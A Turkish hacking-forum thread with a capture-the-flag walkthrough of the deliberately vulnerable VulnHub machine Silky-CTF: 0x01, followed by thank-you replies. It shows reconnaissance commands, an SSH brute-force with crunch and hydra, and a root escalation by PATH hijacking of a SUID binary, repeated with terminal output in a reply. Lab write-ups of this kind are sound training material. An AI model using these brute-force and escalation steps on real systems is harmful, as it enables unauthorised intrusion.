Giriş Yap Kayıt Ol
Siber İhbar Reklam
THT DUYURU

Geri git Turkhackteam.org/net - Cyber Security Platform Turkhackteam Under Ground Capture The Flag Silky-CTF: 0x01 Zafiyetli Makinesinin Çözümü//"P4RS
Capture The Flag Vulnerable VM Walkthrough & Capture The Flag Writeup Yazabileceğiniz Bölüm

Cevap Yaz
Seçenekler

Silky-CTF: 0x01 Zafiyetli Makinesinin Çözümü//"P4RS

"P4RS - ait Kullanıcı Resmi (Avatar)
Green Team Lideri
Üyelik tarihi:
01/2017
Nereden:
Balkes
Yaş:
18
Mesajlar:
4.559
Konular:
481
Teşekkür (Etti):
1121
Teşekkür (Aldı):
2268
Ticaret:
(0) %
17-12-2019 23:06
#1
Silky-CTF: 0x01 Zafiyetli Makinesinin Çözümü//"P4RS
Merhabalar TürkHackTeam ailesi, bugün sizlere "Silky-CTF: 0x01 Zafiyetli Makinesinin Çözümünü" göstereceğim.



https://www.vulnhub.com/entry/silky-ctf-0x01,306/



Makine İsmi: Silky-CTF: 0x01

Yayınlanma Tarihi: 27 Nisan 2019

Yapımcı: Silky

Seri: Silky-CTF

Açıklama: Hedefteki Root dizinin de ki Flag'a erişmek

Dosya Boyutu: 2.5 GB

İşletim Sistemi: Linux

Zorluk Derecesi: Kolay-Orta



İlk öncelikle makinenin IP adresini öğrenmek için
Kod:
sudo netdiscover
yazıyoruz.



Hedefimiz IP adresini bu şekilde öğrenmiş olduk.



NMAP taraması yaparak hangi portların açık olduğunu öğrenmek için
Kod:
nmap -A IP_ADRESİ
yazalım. Gördüğünüz gibi 22 ve 80 portları açık ve burada önemli olan mavi alana aldığım robots.txt ve notes.txt yolları



80 portunun açık olması bir site açık olduğunu anladım içeri girince apache tabanlı bir site olduğunu gördüm.



İlk robots.txt'e gittim beni notes.txt kısmına yönlendirdi oradan görüntü fakat Almanca bir yazı yazılmış.



Çevirdiğimizde "Şifreyi sayfadan yok etmesi gerekiyor, her şeye rağmen sonda ki 2 karakter kayıpmış. "



Siteye tekrar geldim ve kodlara baktığımda script.js dosyasında bir şeyler buldum.



Gördüğünüz gibi şifreye ait bir değer bulduk.



Bizlere ipucu olarak son 2 karakter kayıp demişti. Şifre listesini crunch aracı ile oluşturacağım terminale
Kod:
crunch 7 7 -t s1lKy^% >> sifre.txt
yazdım ve şifre listesi oluştu.



Hydra aracı ile de ssh servisine brute saldırısı yapacağız. Terminale
Kod:
hydra -l silky -P sifre.txt IP_ADRES ssh
yazalım ve şifremizi alalım.



SSH olarak bağlanmak için terminale
Kod:
ssh silky@IP_ADRES
yazalım.



SUID özellikli dosyaları aradım ve burada ki /usr/bin/sky dosyası gözüme takıldı ve terminale
Kod:
/usr/bin/sky
yazdırdığımda Almanca bir metin ve root yazdığını gördüm.



Almanca bir metin ve whoami komutu çalıştırılmış.



Kök ayrıcalığını yükseltmek için PATH değişkenini kullanacağım. Bunun için
Kod:
echo '/bin/sh' > whoami
chmod 777 whoami
export PATH=/tmp:$PATH
/usr/bin/sky
ilginç bir şekilde id yazdığımda root yetkisini alamadım fakat
Kod:
cd /root
yazdığımda giriş yaptım ve flag.txt dosyasını yazdırmam da bir izin hatası almadım bayrağı da almış oldu




Konum bu kadardı arkadaşlar, başka bir konuda görüşmek üzere sağlıcakla...
---------------------
Alıntı Yap
Rumexus - ait Kullanıcı Resmi (Avatar)
Stajyer Moderatör
Üyelik tarihi:
01/2016
Mesajlar:
1.083
Konular:
38
Teşekkür (Etti):
651
Teşekkür (Aldı):
245
Ticaret:
(0) %
17-12-2019 23:12
#2
Cevap: Silky-CTF: 0x01 Zafiyetli Makinesinin Çözümü//"P4RS
Elinize sağlık hocam.
---------------------
PALA
Liserjik


Alıntı Yap
By Ghost - ait Kullanıcı Resmi (Avatar)
Yardımsever
Üyelik tarihi:
07/2013
Nereden:
C:\Linux
Yaş:
23
Mesajlar:
939
Konular:
143
Teşekkür (Etti):
396
Teşekkür (Aldı):
405
Ticaret:
(0) %
17-12-2019 23:15
#3
Cevap: Silky-CTF: 0x01 Zafiyetli Makinesinin Çözümü//"P4RS
Elinize sağlık hocam sade ve güzel bir anlatım yapmışsınız
---------------------
Öfkene hakim olamıyorsan;
Niye yaşıyorsun?

-->Muslims Freedom!!!<--
Alıntı Yap
PourLa - ait Kullanıcı Resmi (Avatar)
Green Team
Üyelik tarihi:
03/2016
Nereden:
☪
Mesajlar:
1.327
Konular:
282
Teşekkür (Etti):
351
Teşekkür (Aldı):
334
Ticaret:
(0) %
17-12-2019 23:50
#4
Cevap: Silky-CTF: 0x01 Zafiyetli Makinesinin Çözümü//"P4RS
Elinize sağlık hocam güzel bir anlatım olmuş
---------------------
☪ PourLa ☪
Html/Css > Python > C ve C++
( }-----{ TÜRK HACK TEAM }-----{ )
Twitter | Telegram | İnstagram




Alıntı Yap
"P4RS - ait Kullanıcı Resmi (Avatar)
Green Team Lideri
Üyelik tarihi:
01/2017
Nereden:
Balkes
Yaş:
18
Mesajlar:
4.559
Konular:
481
Teşekkür (Etti):
1121
Teşekkür (Aldı):
2268
Ticaret:
(0) %
18-12-2019 18:22
#5
Cevap: Silky-CTF: 0x01 Zafiyetli Makinesinin Çözümü//"P4RS
Alıntı:
Rumexus´isimli üyeden Alıntı Mesajı göster
Elinize sağlık hocam.
Alıntı:
By Ghost´isimli üyeden Alıntı Mesajı göster
Elinize sağlık hocam sade ve güzel bir anlatım yapmışsınız
Alıntı:
PourLa´isimli üyeden Alıntı Mesajı göster
Elinize sağlık hocam güzel bir anlatım olmuş
Beğenmenize sevindim arkadaşlar
---------------------
Alıntı Yap
GZM16 - ait Kullanıcı Resmi (Avatar)
Basın & Medya Ekibi
Üyelik tarihi:
05/2018
Nereden:
Aphazya
Mesajlar:
369
Konular:
3
Teşekkür (Etti):
245
Teşekkür (Aldı):
61
Ticaret:
(0) %
18-12-2019 19:01
#6
Cevap: Silky-CTF: 0x01 Zafiyetli Makinesinin Çözümü//"P4RS
Ellerinize sağlık hocam.
--------------------- APSUVA

Alıntı Yap
cockpyte - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
10/2019
Mesajlar:
45
Konular:
5
Teşekkür (Etti):
5
Teşekkür (Aldı):
11
Ticaret:
(0) %
18-12-2019 19:34
#7
Cevap: Silky-CTF: 0x01 Zafiyetli Makinesinin Çözümü//"P4RS
Ellerinize sağlık hocam bilgilendirici ve yararlı bir konu olmuş.
Alıntı Yap
"P4RS - ait Kullanıcı Resmi (Avatar)
Green Team Lideri
Üyelik tarihi:
01/2017
Nereden:
Balkes
Yaş:
18
Mesajlar:
4.559
Konular:
481
Teşekkür (Etti):
1121
Teşekkür (Aldı):
2268
Ticaret:
(0) %
19-12-2019 11:40
#8
Cevap: Silky-CTF: 0x01 Zafiyetli Makinesinin Çözümü//"P4RS
Alıntı:
GZM16´isimli üyeden Alıntı Mesajı göster
Ellerinize sağlık hocam.
Alıntı:
cockpyte´isimli üyeden Alıntı Mesajı göster
Ellerinize sağlık hocam bilgilendirici ve yararlı bir konu olmuş.
Beğenmenize sevindim arkadaşlar
---------------------
Alıntı Yap
ZoRRoKiN - ait Kullanıcı Resmi (Avatar)
Emektar
Üyelik tarihi:
08/2005
Nereden:
WORLD
Mesajlar:
2.131
Konular:
800
Teşekkür (Etti):
460
Teşekkür (Aldı):
6537
Ticaret:
(1) %
04-01-2020 12:22
#9
Cevap: Silky-CTF: 0x01 Zafiyetli Makinesinin Çözümü//"P4RS
id yazdığınızda yetki alamıyorsanız bir de şu şekilde deneyin.

Kod:
silky@Silky-CTF:/tmp$ cd /tmp
silky@Silky-CTF:/tmp$ ls
hsperfdata_root
pulse-PKdhtXMmr18n
systemd-private-d672f2af828d44d481839d78868a14d5-apache2.service-V58Rge
systemd-private-d672f2af828d44d481839d78868a14d5-colord.service-a7R6Hh
systemd-private-d672f2af828d44d481839d78868a14d5-rtkit-daemon.service-8bWI5m
systemd-private-d672f2af828d44d481839d78868a14d5-systemd-timesyncd.service-HmZtVn
silky@Silky-CTF:/tmp$ echo '/bin/sh' > whoami
silky@Silky-CTF:/tmp$ chmod 777 whoami
silky@Silky-CTF:/tmp$ ls
hsperfdata_root
pulse-PKdhtXMmr18n
systemd-private-d672f2af828d44d481839d78868a14d5-apache2.service-V58Rge
systemd-private-d672f2af828d44d481839d78868a14d5-colord.service-a7R6Hh
systemd-private-d672f2af828d44d481839d78868a14d5-rtkit-daemon.service-8bWI5m
systemd-private-d672f2af828d44d481839d78868a14d5-systemd-timesyncd.service-HmZtVn
whoami
silky@Silky-CTF:/tmp$ export PATH=/tmp:$PATH
silky@Silky-CTF:/tmp$ /usr/bin/sky
Seide ist ein tierischer Faserstoff. Sie wird aus den Kokons der Seidenraupe, der Larve des Seidenspinners, gewonnen. 
gezeichnet:
# id
uid=1000(silky) gid=1000(silky) euid=0(root) Gruppen=1000(silky),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),113(bluetooth),114(lpadmin),119(scanner)
#
--------------------- Ne fark eder ki...
Konu ZoRRoKiN tarafından (04-01-2020 14:47 Saat 14:47 ) değiştirilmiştir.
Alıntı Yap
"P4RS Teşekkür etti.
"P4RS - ait Kullanıcı Resmi (Avatar)
Green Team Lideri
Üyelik tarihi:
01/2017
Nereden:
Balkes
Yaş:
18
Mesajlar:
4.559
Konular:
481
Teşekkür (Etti):
1121
Teşekkür (Aldı):
2268
Ticaret:
(0) %
04-01-2020 14:48
#10
Cevap: Silky-CTF: 0x01 Zafiyetli Makinesinin Çözümü//"P4RS
Alıntı:
ZoRRoKiN´isimli üyeden Alıntı Mesajı göster
id yazdığınızda yetki alamıyorsanız bir de şu şekilde deneyin.

Kod:
silky@Silky-CTF:/tmp$ cd /tmp
silky@Silky-CTF:/tmp$ ls
hsperfdata_root
pulse-PKdhtXMmr18n
systemd-private-d672f2af828d44d481839d78868a14d5-apache2.service-V58Rge
systemd-private-d672f2af828d44d481839d78868a14d5-colord.service-a7R6Hh
systemd-private-d672f2af828d44d481839d78868a14d5-rtkit-daemon.service-8bWI5m
systemd-private-d672f2af828d44d481839d78868a14d5-systemd-timesyncd.service-HmZtVn
silky@Silky-CTF:/tmp$ echo '/bin/sh' > whoami
silky@Silky-CTF:/tmp$ chmod 777 whoami
silky@Silky-CTF:/tmp$ ls
hsperfdata_root
pulse-PKdhtXMmr18n
systemd-private-d672f2af828d44d481839d78868a14d5-apache2.service-V58Rge
systemd-private-d672f2af828d44d481839d78868a14d5-colord.service-a7R6Hh
systemd-private-d672f2af828d44d481839d78868a14d5-rtkit-daemon.service-8bWI5m
systemd-private-d672f2af828d44d481839d78868a14d5-systemd-timesyncd.service-HmZtVn
whoami
silky@Silky-CTF:/tmp$ export PATH=/tmp:$PATH
silky@Silky-CTF:/tmp$ /usr/bin/sky
Seide ist ein tierischer Faserstoff. Sie wird aus den Kokons der Seidenraupe, der Larve des Seidenspinners, gewonnen. 
gezeichnet:
# id
uid=1000(silky) gid=1000(silky) euid=0(root) Gruppen=1000(silky),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),113(bluetooth),114(lpadmin),119(scanner)
#
Bilgilendirme için teşekkür ederim hocam
---------------------
Alıntı Yap
Cevap Yaz

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler


Şu Anki Saat: 16:59